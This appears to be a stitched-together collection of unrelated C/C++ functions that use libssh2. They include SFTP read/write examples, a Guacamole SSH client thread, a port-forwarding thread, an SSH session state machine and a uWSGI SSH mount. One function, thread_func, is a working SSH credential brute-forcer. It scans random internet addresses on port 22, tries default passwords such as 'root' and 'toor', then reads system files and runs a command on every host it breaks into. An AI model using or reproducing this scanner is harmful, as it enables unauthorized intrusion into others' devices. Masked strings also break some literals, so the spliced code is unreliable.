fprintf(stderr, "Unable to init SFTP session\n"); goto shutdown; } } } while (!sftp_session); fprintf(stderr, "libssh2_sftp_open()!\n"); /* Request a file via SFTP */ do { sftp_handle = libssh2_sftp_open(sftp_session, sftppath, LIBSSH2_FXF_READ, 0); if (!sftp_handle) { if (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN) { fprintf(stderr, "Unable to open file with SFTP\n"); goto shutdown; } else { fprintf(stderr, "non-blocking open\n"); waitsocket(sock, session); /* now we wait */ } } } while (!sftp_handle); fprintf(stderr, "libssh2_sftp_open() is done, now receive data!\n"); do { char mem[1024*24]; /* loop until we fail */ while ((rc = libssh2_sftp_read(sftp_handle, mem, sizeof(mem))) == LIBSSH2_ERROR_EAGAIN) { spin++; waitsocket(sock, session); /* now we wait */ } if (rc > 0) { total += rc; write(1, mem, rc); } else { break; } } while (1); gettimeofday(&end, NULL); time_ms = tvdiff(end, start); printf("Got %d bytes in %ld ms = %.1f bytes/sec spin: %d\n", total, time_ms, total/(time_ms/1000.0), spin ); libssh2_sftp_close(sftp_handle); libssh2_sftp_shutdown(sftp_session); shutdown: printf("libssh2_session_disconnect\n"); while (libssh2_session_disconnect(session, "Normal Shutdown, Thank you") == LIBSSH2_ERROR_EAGAIN); libssh2_session_free(session); #ifdef WIN32 closesocket(sock); #else close(sock); #endif fprintf(stderr, "all done\n"); libssh2_exit(); return 0; }
int main(int argc, char *argv[]) { unsigned long hostaddr; int sock, i, auth_pw = 1; struct sockaddr_in sin; const char *fingerprint; LIBSSH2_SESSION *session; const char *username="******"; const char *password="******"; const char *loclfile="sftp_write_nonblock.c"; const char *sftppath="/tmp/sftp_write_nonblock.c"; int rc; FILE *local; LIBSSH2_SFTP *sftp_session; LIBSSH2_SFTP_HANDLE *sftp_handle; char mem[1024 * 1000]; size_t nread; size_t memuse; time_t start; long total = 0; int duration; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(2,0), &wsadata); #endif if (argc > 1) { hostaddr = inet_addr(argv[1]); } else { hostaddr = htonl(0x7F000001); } if (argc > 2) { username = argv[2]; } if (argc > 3) { password = argv[3]; } if (argc > 4) { loclfile = argv[4]; } if (argc > 5) { sftppath = argv[5]; } rc = libssh2_init (0); if (rc != 0) { fprintf (stderr, "libssh2 initialization failed (%d)\n", rc); return 1; } local = fopen(loclfile, "rb"); if (!local) { printf("Can't local file %s\n", loclfile); return -1; } /* * The application code is responsible for creating the socket * and establishing the connection */ sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } /* Create a session instance */ session = libssh2_session_init(); if (!session) return -1; /* Since we have set non-blocking, tell libssh2 we are non-blocking */ libssh2_session_set_blocking(session, 0); /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ while ((rc = libssh2_session_handshake(session, sock)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } /* At this point we havn't yet authenticated. The first thing to do is * check the hostkey's fingerprint against our known hosts Your app may * have it hard coded, may go to a file, may present it to the user, * that's your call */ fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1); printf("Fingerprint: "); for(i = 0; i < 20; i++) { printf("%02X ", (unsigned char)fingerprint[i]); } printf("\n"); if (auth_pw) { /* We could authenticate via password */ while ((rc = libssh2_userauth_password(session, username, password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { printf("Authentication by password failed.\n"); goto shutdown; } } else { /* Or by public key */ while ((rc = libssh2_userauth_publickey_fromfile(session, username, "/home/username/.ssh/id_rsa.pub", "/home/username/.ssh/id_rsa", password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { printf("\tAuthentication by public key failed\n"); goto shutdown; } } fprintf(stderr, "libssh2_sftp_init()!\n"); do { sftp_session = libssh2_sftp_init(session); if (!sftp_session && (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN)) { fprintf(stderr, "Unable to init SFTP session\n"); goto shutdown; } } while (!sftp_session); fprintf(stderr, "libssh2_sftp_open()!\n"); /* Request a file via SFTP */ do { sftp_handle = libssh2_sftp_open(sftp_session, sftppath, LIBSSH2_FXF_WRITE|LIBSSH2_FXF_CREAT|LIBSSH2_FXF_TRUNC, LIBSSH2_SFTP_S_IRUSR|LIBSSH2_SFTP_S_IWUSR| LIBSSH2_SFTP_S_IRGRP|LIBSSH2_SFTP_S_IROTH); if (!sftp_handle && (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN)) { fprintf(stderr, "Unable to open file with SFTP\n"); goto shutdown; } } while (!sftp_handle); fprintf(stderr, "libssh2_sftp_open() is done, now send data!\n"); start = time(NULL); memuse = 0; /* it starts blank */ do { nread = fread(&mem[memuse], 1, sizeof(mem)-memuse, local); if (nread <= 0) { /* end of file */ if (memuse > 0) /* the previous sending is not finished */ nread = 0; else break; } memuse += nread; total += nread; /* write data in a loop until we block */ while ((rc = libssh2_sftp_write(sftp_handle, mem, memuse)) == LIBSSH2_ERROR_EAGAIN) { waitsocket(sock, session); } if(rc < 0) break; if(memuse - rc) { /* make room for more data at the end of the buffer */ memmove(&mem[0], &mem[rc], memuse - rc); memuse -= rc; } else /* 'mem' was consumed fully */ memuse = 0; } while (rc > 0); duration = (int)(time(NULL)-start); printf("%ld bytes in %d seconds makes %.1f bytes/sec\n", total, duration, total/(double)duration); fclose(local); libssh2_sftp_close(sftp_handle); libssh2_sftp_shutdown(sftp_session); shutdown: while (libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing") == LIBSSH2_ERROR_EAGAIN); libssh2_session_free(session); #ifdef WIN32 closesocket(sock); #else close(sock); #endif printf("all done\n"); libssh2_exit(); return 0; }
void* ssh_client_thread(void* data) { guac_client* client = (guac_client*) data; ssh_guac_client_data* client_data = (ssh_guac_client_data*) client->data; char name[1024]; guac_socket* socket = client->socket; char buffer[8192]; int bytes_read = -1234; int socket_fd; int stdout_fd = client_data->term->stdout_pipe_fd[1]; pthread_t input_thread; libssh2_init(0); /* Get username */ if (client_data->username[0] == 0) prompt(client, "Login as: ", client_data->username, sizeof(client_data->username), true); /* Send new name */ snprintf(name, sizeof(name)-1, "%s@%s", client_data->username, client_data->hostname); guac_protocol_send_name(socket, name); /* If key specified, import */ if (client_data->key_base64[0] != 0) { /* Attempt to read key without passphrase */ client_data->key = ssh_key_alloc(client_data->key_base64, strlen(client_data->key_base64), ""); /* On failure, attempt with passphrase */ if (client_data->key == NULL) { /* Prompt for passphrase if missing */ if (client_data->key_passphrase[0] == 0) prompt(client, "Key passphrase: ", client_data->key_passphrase, sizeof(client_data->key_passphrase), false); /* Import key with passphrase */ client_data->key = ssh_key_alloc(client_data->key_base64, strlen(client_data->key_base64), client_data->key_passphrase); /* If still failing, give up */ if (client_data->key == NULL) { guac_client_log_error(client, "Auth key import failed."); return NULL; } } /* end decrypt key with passphrase */ /* Success */ guac_client_log_info(client, "Auth key successfully imported."); } /* end if key given */ /* Otherwise, get password if not provided */ else if (client_data->password[0] == 0) prompt(client, "Password: "******"\x1B[H\x1B[J", 6); /* Open SSH session */ client_data->session = __guac_ssh_create_session(client, &socket_fd); if (client_data->session == NULL) { /* Already aborted within __guac_ssh_create_session() */ return NULL; } /* Open channel for terminal */ client_data->term_channel = libssh2_channel_open_session(client_data->session); if (client_data->term_channel == NULL) { guac_client_abort(client, GUAC_PROTOCOL_STATUS_UPSTREAM_ERROR, "Unable to open terminal channel."); return NULL; } #ifdef ENABLE_SSH_AGENT /* Start SSH agent forwarding, if enabled */ if (client_data->enable_agent) { libssh2_session_callback_set(client_data->session, LIBSSH2_CALLBACK_AUTH_AGENT, (void*) ssh_auth_agent_callback); /* Request agent forwarding */ if (libssh2_channel_request_auth_agent(client_data->term_channel)) guac_client_log_error(client, "Agent forwarding request failed"); else guac_client_log_info(client, "Agent forwarding enabled."); } client_data->auth_agent = NULL; #endif /* Start SFTP session as well, if enabled */ if (client_data->enable_sftp) { /* Create SSH session specific for SFTP */ guac_client_log_info(client, "Reconnecting for SFTP..."); client_data->sftp_ssh_session = __guac_ssh_create_session(client, NULL); if (client_data->sftp_ssh_session == NULL) { /* Already aborted within __guac_ssh_create_session() */ return NULL; } /* Request SFTP */ client_data->sftp_session = libssh2_sftp_init(client_data->sftp_ssh_session); if (client_data->sftp_session == NULL) { guac_client_abort(client, GUAC_PROTOCOL_STATUS_UPSTREAM_ERROR, "Unable to start SFTP session."); return NULL; } /* Set file handler */ client->file_handler = guac_sftp_file_handler; guac_client_log_info(client, "SFTP session initialized"); } /* Request PTY */ if (libssh2_channel_request_pty_ex(client_data->term_channel, "linux", sizeof("linux")-1, NULL, 0, client_data->term->term_width, client_data->term->term_height, 0, 0)) { guac_client_abort(client, GUAC_PROTOCOL_STATUS_UPSTREAM_ERROR, "Unable to allocate PTY."); return NULL; } /* Request shell */ if (libssh2_channel_shell(client_data->term_channel)) { guac_client_abort(client, GUAC_PROTOCOL_STATUS_UPSTREAM_ERROR, "Unable to associate shell with PTY."); return NULL; } /* Logged in */ guac_client_log_info(client, "SSH connection successful."); /* Start input thread */ if (pthread_create(&(input_thread), NULL, ssh_input_thread, (void*) client)) { guac_client_abort(client, GUAC_PROTOCOL_STATUS_SERVER_ERROR, "Unable to start input thread"); return NULL; } /* Set non-blocking */ libssh2_session_set_blocking(client_data->session, 0); /* While data available, write to terminal */ bytes_read = 0; while (!libssh2_channel_eof(client_data->term_channel)) { /* Track total amount of data read */ int total_read = 0; /* Read terminal data */ bytes_read = libssh2_channel_read(client_data->term_channel, buffer, sizeof(buffer)); /* Attempt to write data received. Exit on failure. */ if (bytes_read > 0) { int written = guac_terminal_write_all(stdout_fd, buffer, bytes_read); if (written < 0) break; total_read += bytes_read; } else if (bytes_read < 0 && bytes_read != LIBSSH2_ERROR_EAGAIN) break; #ifdef ENABLE_SSH_AGENT /* If agent open, handle any agent packets */ if (client_data->auth_agent != NULL) { bytes_read = ssh_auth_agent_read(client_data->auth_agent); if (bytes_read > 0) total_read += bytes_read; else if (bytes_read < 0 && bytes_read != LIBSSH2_ERROR_EAGAIN) client_data->auth_agent = NULL; } #endif /* Wait for more data if reads turn up empty */ if (total_read == 0) { fd_set fds; struct timeval timeout; FD_ZERO(&fds); FD_SET(socket_fd, &fds); /* Wait for one second */ timeout.tv_sec = 1; timeout.tv_usec = 0; if (select(socket_fd+1, &fds, NULL, NULL, &timeout) < 0) break; } } /* Kill client and Wait for input thread to die */ guac_client_stop(client); pthread_join(input_thread, NULL); guac_client_log_info(client, "SSH connection ended."); return NULL; }
static int session_set_blocking(SSH2_SessionObj *self, PyObject *value, void *closure) { libssh2_session_set_blocking(self->session, PyObject_IsTrue(value)); return 0; }
/* sftp协议连接 */ static int sftp_connect(protocol_data_t *protocol, char *host, int port, char *username, char *password) { int rc; struct sockaddr_in sin; if (protocol == NULL || protocol->protocol_data == NULL || host == NULL || username == NULL || password == NULL) { return; } sftp_data_t *data = (sftp_data_t *)protocol->protocol_data; data->sock = socket(AF_INET, SOCK_STREAM, 0); if (data->sock == -1) { return -1; } sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = inet_addr(host); rc = unblock_connect(data->sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)); if (rc != 0) { close(data->sock); return -1; } data->session = libssh2_session_init(); if(!data->session) { close(data->sock); return -1; } rc = libssh2_session_handshake(data->session, data->sock); if(rc) { close(data->sock); return -1; } rc = libssh2_userauth_password(data->session, username, password); if (rc) { goto shutdown; } data->sftp_session = libssh2_sftp_init(data->session); if (!data->sftp_session) { goto shutdown; } libssh2_session_set_blocking(data->session, 1); /* TODO: 赋值 */ return 0; shutdown: libssh2_session_disconnect(data->session, "Normal Shutdown"); libssh2_session_free(data->session); close(data->sock); return -1; }
void * CSubThread::Entry() { fd_set fds; struct timeval tv; ssize_t len, wr; char buf[20480]; int rc, i = 0; const char *shost = inet_ntoa(m_sin.sin_addr); unsigned int sport = ntohs(m_sin.sin_port); wxLogInfo(wxT("Forwarding connection from %s:%d to %s:%d"), wxString(inet_ntoa(m_sin.sin_addr), wxConvLibc).c_str(), sport, m_remote_desthost.c_str(), m_remote_destport); /* Must use blocking here to avoid connect errors */ //libssh2_session_set_blocking(m_subThreadSession, 1); while((m_channel = libssh2_channel_direct_tcpip_ex(m_subThreadSession, m_remote_desthost.mb_str(), m_remote_destport, shost, sport)) == NULL) { rc = libssh2_session_last_error(m_subThreadSession, NULL, NULL, 0); if (rc == LIBSSH2_ERROR_EAGAIN) Sleep(10); else break; } /* Must use non-blocking IO hereafter due to the current libssh2 API */ libssh2_session_set_blocking(m_subThreadSession, 0); if (!m_channel) { wxLogInfo(_("SSH error: Could not open a direct-tcpip channel!")); goto shutdown; } while (1) { FD_ZERO(&fds); FD_SET(m_forwardsock, &fds); tv.tv_sec = 0; tv.tv_usec = 100000; rc = select(m_forwardsock + 1, &fds, NULL, NULL, &tv); memset(buf, 0, sizeof(buf)); if (-1 == rc) { wxLogInfo(_("SSH error: select failed with error code %d"), wxSysErrorCode()); goto shutdown; } if (rc && FD_ISSET(m_forwardsock, &fds)) { len = recv(m_forwardsock, buf, sizeof(buf), 0); if (len < 0) { wxLogInfo(_("SSH error: read failed with error code %d"), wxSysErrorCode()); goto shutdown; } else if (0 == len) { wxLogInfo(_("The client at %s:%d disconnected!"), wxString(inet_ntoa(m_sin.sin_addr), wxConvLibc).c_str(), sport); goto shutdown; } wr = 0; do { i = libssh2_channel_write(m_channel, buf, len); if (i < 0) { wxLogInfo(_("SSH error: libssh2_channel_write with error code %d"), i); goto shutdown; } wr += i; } while (i > 0 && wr < len); } while (1) { len = libssh2_channel_read(m_channel, buf, sizeof(buf)); if (LIBSSH2_ERROR_EAGAIN == len) break; else if (len < 0) { wxLogInfo(_("SSH error: libssh2_channel_read with error code %d"), (int)len); goto shutdown; } wr = 0; while (wr < len) { i = send(m_forwardsock, buf + wr, len - wr, 0); if (i <= 0) { wxLogInfo(_("SSH error: write failed with error code %d"), wxSysErrorCode()); goto shutdown; } wr += i; } if (libssh2_channel_eof(m_channel)) { wxLogInfo(_("Connection at %s:%d disconnected by server"), wxString(inet_ntoa(m_sin.sin_addr), wxConvLibc).c_str(), sport); goto shutdown; } } } shutdown: #ifdef WIN32 closesocket(m_forwardsock); #else close(m_forwardsock); #endif if (m_channel) { libssh2_channel_close(m_channel); libssh2_channel_free(m_channel); m_channel = NULL; } return NULL; }
SSH_SESSION_STATE SSHSession::begin_session(){ ///////////////////////////////////////////// //Perform the connect call if(this->state == ::SESSION_PERFORM_CONNECT || this->state == ::SESSION_CLOSED){ int ret = ::connect(this->sock, (struct sockaddr*)(&this->addr), sizeof(struct sockaddr_in)); #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) int ec = WSAGetLastError(); if(ret == SOCKET_ERROR && ec == WSAEWOULDBLOCK) { this->state = ::SESSION_SELECT_SOCKET; } #else if(ret == -1 && errno == EINPROGRESS) { this->state = ::SESSION_SELECT_SOCKET; } #endif //Success (will most likely never happen) ? else if(ret == 0){ this->state = ::SESSION_PERFORM_INIT; //Major error } else{ this->running_procs--; this->state = ::SESSION_OPEN_ERROR; } ///////////////////////////////////////////// //Poll the socket after connect() }else if(this->state == ::SESSION_SELECT_SOCKET){ fd_set fd_write, fd_error; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) TIMEVAL timeout; #else struct timeval timeout; #endif // timeout after 10 seconds int timeoutSec = 10; FD_ZERO(&fd_write); FD_ZERO(&fd_error); FD_SET(this->sock, &fd_write); FD_SET(this->sock, &fd_error); timeout.tv_sec = timeoutSec; timeout.tv_usec = 0; #if defined( WIN32 ) || defined( _WIN32 ) || defined( __WIN32 ) && !defined( __CYGWIN__ ) int ret = select( 0, NULL, &fd_write, &fd_error, &timeout ); #else int ret = select( this->sock + 1, NULL, &fd_write, &fd_error, &timeout ); #endif //Timed out ? if(ret == 0) { this->state = ::SESSION_OPEN_ERROR; }else{ //socket data ? if(FD_ISSET(this->sock, &fd_write)) { this->state = ::SESSION_PERFORM_INIT; fprintf(stderr, "connect done..\n"); } //socket error else if(FD_ISSET(this->sock, &fd_error)) { this->state = ::SESSION_OPEN_ERROR; this->running_procs--; fprintf(stderr, "connect error..\n"); //Continue polling next pass }else{ this->state = ::SESSION_SELECT_SOCKET; } } ///////////////////////////////////////////// //Initialize the libssh2 session object }else if(this->state == ::SESSION_PERFORM_INIT){ //Create a session instance this->session = libssh2_session_init(); if(!this->session){ this->state = ::SESSION_OPEN_ERROR; } //Notify libssh2 we are non-blocking libssh2_session_set_blocking(this->session, 0); //Move on to the next step this->state = ::SESSION_PERFORM_HANDSHAKE; ///////////////////////////////////////////////////////////////////////////// //Exchange welcome banners,keys and setup crypto, compression, and MAC layers }else if(this->state == ::SESSION_PERFORM_HANDSHAKE){ rc = libssh2_session_handshake(this->session, this->sock); //Blocking ? if(rc == LIBSSH2_ERROR_EAGAIN){ this->state = ::SESSION_PERFORM_HANDSHAKE; //Failure? }else if(rc){ this->state = ::SESSION_OPEN_ERROR; this->running_procs--; } //success ? else if(rc == 0) { this->state = ::SESSION_PERFORM_AUTH; //Check the hostkey's fingerprint against know/stored fingerprint //const char* fingerprint = libssh2_hostkey_hash(this->session, LIBSSH2_HOSTKEY_HASH_SHA1); /*fprintf(stderr, "Fingerprint: "); qDebug() << "Fingerprint: "; for(i = 0; i < 20; i++) { qDebug() << QString((unsigned char)fingerprint[i]); }*/ } ////////////////////////// //Perform authentication } else if(this->state == ::SESSION_PERFORM_AUTH){ //Authenticate via password rc = libssh2_userauth_password(this->session, this->username.toUtf8().constData(), this->password.toUtf8().constData()) ; //blocking if(rc == LIBSSH2_ERROR_EAGAIN){ this->state = ::SESSION_PERFORM_AUTH; } //failure? else if(rc){ this->state = ::SESSION_OPEN_ERROR; this->running_procs--; qDebug() << "auth failed..\n"; //success ? }else if(rc == 0){ this->state = ::SESSION_OPEN; qDebug() << "auth done..\n"; this->running_procs--; qDebug() << this->running_procs; } } return this->state; }
void* thread_func(void* arg) { int sockfd; sockaddr_in serv_addr; char curhost[26]; boost::random::uniform_int_distribution<> dist(1, 9999999999999);//numeric_limits< unsigned long>::max()); boost::random::mt19937 gen((int)pthread_self()+(int)time(NULL)); LIBSSH2_SESSION *session=0; // HCkSsh ssh; srand((int)pthread_self()+rand()+time(NULL)); while (do_scan) { sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) deb("ERROR opening socket: %s\r\n",fmterr()); setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)); long flags; flags = fcntl(sockfd, F_GETFL, 0); fcntl(sockfd, F_SETFL, flags | O_NONBLOCK); bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(22); do { serv_addr.sin_addr.s_addr = dist(gen);//getrnd(0,100000000000000);//rand();//inet_addr("195.2.253.204") } while (ischecking(serv_addr.sin_addr.s_addr)); strncpy(curhost, inet_ntoa(serv_addr.sin_addr), sizeof(curhost)); addchecking(serv_addr.sin_addr.s_addr); unsigned long chkdist=0; chkdist=dist(gen); int ret; // deb("\rconnecting %16s ", inet_ntoa(serv_addr.sin_addr)); ret=connect(sockfd, (struct sockaddr*) &serv_addr, sizeof( serv_addr)); fd_set fds; //deb("ret:%d errno:%s (%d)\r\n",ret,strerror(errno),errno); // sleep(1); FD_ZERO(&fds); FD_SET(sockfd, &fds); tv.tv_sec = 2; tv.tv_usec = 0; char buf[1024]; if (ret==0 || (ret==-1 && errno == EINPROGRESS)) { ipscanned++; int res = select(sockfd+1, &fds,&fds, 0, &tv); //deb("res:%d errno:%s (%d)\r\n",res,strerror(errno),errno); if (res < 0 && errno != EINTR) { // deb("\r\n%s Error connecting %d - %s\n\r", // curhost, errno, strerror(errno)); } else if (res > 0) { flags &= (~O_NONBLOCK); if ( fcntl(sockfd, F_SETFL, flags) < 0) { deb("Error fcntl(..., F_SETFL) (%s)\n", strerror(errno)); } int rcv; memset(buf, 0, sizeof(buf)); rcv = recv(sockfd, buf, sizeof(buf), MSG_PEEK); //if (rcv>0) // buf[rcv]=0; // if (rcv>0) // deb("rcv: %d %s\r\n",rcv, trim(buf)); const char *username="******"; const char *password="******"; const char *sftppath="/tmp"; int rc; const char *fingerprint; session = libssh2_session_init(); libssh2_session_set_blocking(session, 1); int numTry=0; while (session>0 && (rc = libssh2_session_handshake(session, sockfd)) == LIBSSH2_ERROR_EAGAIN); int u; LIBSSH2_CHANNEL *channel=0; if (rc) { if (rc!=-43) deb("%16s failure establishing SSH session: %d [rnd: %lu, checking: %d]\n", curhost,rc,chkdist,checking.size()); //return -1; } else { totscanned++; fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1); deb( "%16s %-50s ", inet_ntoa(serv_addr.sin_addr), trim(buf)); for (int i = 0; i < 20; i++) { deb(KYEL "%02X " RESET, (unsigned char)fingerprint[i]); } deb( "\n"); char* passwords[]={"root","admin","toor","r00t","adm", "secure","pwd","password","god" }; for ( u=0;u<3;u++) { if (libssh2_userauth_password(session, username, passwords[u])) { // deb( "%16s " KRED "Authentication by password failed. [%s]\n" // RESET, inet_ntoa(serv_addr.sin_addr),passwords[u]); continue; } else { deb(KCYN "%16s authenticated %s:%s \r\n" RESET, inet_ntoa(serv_addr.sin_addr), username,passwords[u],totscanned); struct stat fileinfo; channel = libssh2_scp_recv(session, "/etc/services", &fileinfo); if (!channel) { deb(KRED "%16s Unable to open a session: %d\r\n" RESET, inet_ntoa(serv_addr.sin_addr), libssh2_session_last_errno(session)); break; } if (!fileinfo.st_size) { deb(KGRN "%16s router/modem\r\n" RESET, inet_ntoa(serv_addr.sin_addr), fileinfo.st_size); fdeb("%s %s:%s [router/modem (%s)]\r\n", inet_ntoa(serv_addr.sin_addr), username,passwords[u],trim(buf)); } else { deb(KGRN "%16s unknown device fs:%d [%s]\r\n" RESET, inet_ntoa(serv_addr.sin_addr), fileinfo.st_size,trim(buf)); fdeb("%s %s:%s unknown (%s)\r\n", inet_ntoa(serv_addr.sin_addr), username,passwords[u],trim( buf)); } channel = libssh2_scp_recv(session, "/proc/cpuinfo", &fileinfo); if (!channel) { // deb(KRED "\r\nUnable to open a session: %d\r\n" RESET, // libssh2_session_last_errno(session)); //break; } else { int got=0; char mem[1024]; int amount=sizeof(mem); while (got < fileinfo.st_size) { if ((fileinfo.st_size -got) < amount) { amount = fileinfo.st_size -got; } rc = libssh2_channel_read(channel, mem, amount); if (rc > 0) { deb("mem:%p rc:%d", mem, rc); } else if (rc < 0) { deb("libssh2_channel_read() failed: %d\n", rc); break; } got += rc; } if (mem[0]) deb("mem: %s", mem); } founds++; try { MySexec sexec; sexec.SetSSHHost( curhost ); int ret_code = sexec.SetTimeout(17); if (ret_code) throw("\r\nfailed: SetTimeout\r\n"); ret_code = sexec.SetSSHUser(username); if (ret_code) throw("\r\nfailed: SetSSHUser\r\n"); ret_code = sexec.SetSSHPassword(passwords[u]); if (ret_code) throw("\r\nfailed: SetSSHPassword()\r\n"); ret_code = sexec.SSHLogon(curhost ,22); if (ret_code) throw("\r\nfailed: SSHLogon\r\n"); ret_code = sexec.Execute("ls -l"); if (ret_code) throw("\r\Execute:%d",ret_code); //sleep(2); deb(KGRN "executed on %s\r\n" RESET, curhost); // fdeb("\r\n[host %s]\r\n",curhost); // exit(0); } catch ( const char *str ) { deb(KRED "in except: %s\r\n" RESET,str); } //exit(0); } } // free(fingerprint); } if (channel) libssh2_channel_free(channel); if (session) { // libssh2_session_disconnect(session, "Norm"); libssh2_session_free(session); } /* ssh = CkSsh_Create(); bool success; CkSsh_UnlockComponent(ssh,"Anything for 30-day trial"); success = CkSsh_Connect(ssh,inet_ntoa(serv_addr.sin_addr),22); CkSsh_putIdleTimeoutMs(ssh,5000); success = CkSsh_AuthenticatePw(ssh,"root","root"); if (success != TRUE) { deb("%s\n",CkSsh_lastErrorText(ssh)); return 0; } int channelNum; channelNum = CkSsh_OpenSessionChannel(ssh); if (channelNum < 0) { deb("%s\n",CkSsh_lastErrorText(ssh)); return 0; } success = CkSsh_SendReqExec(ssh,channelNum,"uname -a"); if (success != TRUE) { deb("%s\n",CkSsh_lastErrorText(ssh)); return 0; } // Call ChannelReceiveToClose to read // output until the server's corresponding "channel close" is received. success = CkSsh_ChannelReceiveToClose(ssh,channelNum); if (success != TRUE) { deb("%s\n",CkSsh_lastErrorText(ssh)); return 0; } // Let's pickup the accumulated output of the command: const char * cmdOutput; cmdOutput = CkSsh_getReceivedText(ssh,channelNum,"ansi"); if (cmdOutput == 0 ) { deb("%s\n",CkSsh_lastErrorText(ssh)); return 0; } // Display the remote shell's command output: deb("%s\n",cmdOutput); // Disconnect CkSsh_Disconnect(ssh); CkSsh_Dispose(ssh);*/ } }
static int uwsgi_init_ssh_session( struct uwsgi_ssh_mountpoint *usm, int* socket_fd, LIBSSH2_SESSION **session) { int sock = uwsgi_connect(usm->remote, ulibssh2.ssh_timeout, 1); if (sock < 0) { uwsgi_error("uwsgi_init_ssh_session()/uwsgi_connect()"); return 1; } int rc = libssh2_init(0); if (rc) { uwsgi_error("uwsgi_init_ssh_session()/libssh2_init()"); goto shutdown; } *session = libssh2_session_init(); if (!session) { uwsgi_error("uwsgi_init_ssh_session()/libssh2_session_init()"); goto shutdown; } libssh2_session_set_blocking(*session, 0); while ((rc = libssh2_session_handshake(*session, sock)) == LIBSSH2_ERROR_EAGAIN) { uwsgi_ssh_waitsocket(sock, *session); } if (rc) { uwsgi_error("uwsgi_init_ssh_session()/libssh2_session_handshake()"); goto shutdown; } if (!ulibssh2.disable_remote_fingerprint_check) { LIBSSH2_KNOWNHOSTS *nh = libssh2_knownhost_init(*session); if (!nh) { uwsgi_error("uwsgi_init_ssh_session()/libssh2_knownhost_init()"); goto shutdown; } if (libssh2_knownhost_readfile(nh, ulibssh2.known_hosts_path, LIBSSH2_KNOWNHOST_FILE_OPENSSH) < 0) { uwsgi_error("uwsgi_init_ssh_session()/libssh2_knownhost_readfile()"); } size_t len; int type; const char *fingerprint = libssh2_session_hostkey(*session, &len, &type); if (!fingerprint) { uwsgi_error("uwsgi_init_ssh_session()/libssh2_session_hostkey()"); libssh2_knownhost_free(nh); goto shutdown; } char *remoteaddr_str = uwsgi_str(usm->remote); char *port_str = strchr(remoteaddr_str, ':'); int port = SSH_DEFAULT_PORT; if (port_str) { port_str[0] = 0; port_str++; port = atoi(port_str); } struct libssh2_knownhost *host; int check = libssh2_knownhost_checkp( nh, remoteaddr_str, port, fingerprint, len, LIBSSH2_KNOWNHOST_TYPE_PLAIN|LIBSSH2_KNOWNHOST_KEYENC_RAW, &host ); free(remoteaddr_str); if (check != LIBSSH2_KNOWNHOST_CHECK_MATCH) { uwsgi_log("[SSH] Remote fingerprint check failed!\n"); libssh2_knownhost_free(nh); goto shutdown; } libssh2_knownhost_free(nh); } // If specified, username and password are honored if (usm->username && usm->password) { while ((rc = libssh2_userauth_password( *session, usm->username, usm->password) ) == LIBSSH2_ERROR_EAGAIN) { uwsgi_ssh_waitsocket(sock, *session); } if (rc) { uwsgi_error("uwsgi_init_ssh_session()/libssh2_userauth_password()"); goto shutdown; } else { goto end; } // Else, let's try the fallback authentication methods: } else if (usm->username || ulibssh2.username) { // Let's choose which username to use char* auth_user = ulibssh2.username; if (usm->username) { auth_user = usm->username; } // Password authentication if (ulibssh2.auth_pw && ulibssh2.password) { while ((rc = libssh2_userauth_password( *session, auth_user, ulibssh2.password) ) == LIBSSH2_ERROR_EAGAIN) { uwsgi_ssh_waitsocket(sock, *session); } if (rc) { uwsgi_error("uwsgi_init_ssh_session()/libssh2_userauth_password()"); // goto shutdown; } else { goto end; } } // SSH agent authentication if (usm->ssh_agent || ulibssh2.auth_ssh_agent) { if (uwsgi_ssh_agent_auth(*session, sock, auth_user)) { uwsgi_error("uwsgi_init_ssh_session()/uwsgi_ssh_agent_auth()"); // goto shutdown; } else { goto end; } } // Public key authentication if ((ulibssh2.private_key_path && ulibssh2.private_key_passphrase) || (usm->priv_key_path && usm->priv_key_passphrase)) { char *actual_pubk_path = ulibssh2.public_key_path; if (usm->pub_key_path) { actual_pubk_path = usm->pub_key_path; } char *actual_privk_path = ulibssh2.private_key_path; if (usm->priv_key_path) { actual_privk_path = usm->priv_key_path; } char *actual_passphrase = ulibssh2.private_key_passphrase; if (usm->priv_key_passphrase) { actual_passphrase = usm->priv_key_passphrase; } while ((rc = libssh2_userauth_publickey_fromfile( *session, auth_user, actual_pubk_path, actual_privk_path, actual_passphrase) ) == LIBSSH2_ERROR_EAGAIN) { uwsgi_ssh_waitsocket(sock, *session); } if (rc == LIBSSH2_ERROR_PUBLICKEY_UNVERIFIED) { uwsgi_log("[SSH] ssh authentication failed (bad passphrase)\n"); // goto shutdown; } else if (rc) { uwsgi_error("uwsgi_init_ssh_session()/libssh2_userauth_publickey_fromfile()"); // goto shutdown; } else { goto end; } } } // If we arrive here, something went wrong. uwsgi_log("[SSH] session initialization failed (no authentication method worked)\n"); shutdown: close(sock); return 1; end: // Otherwise, we're fine! *socket_fd = sock; return 0; }
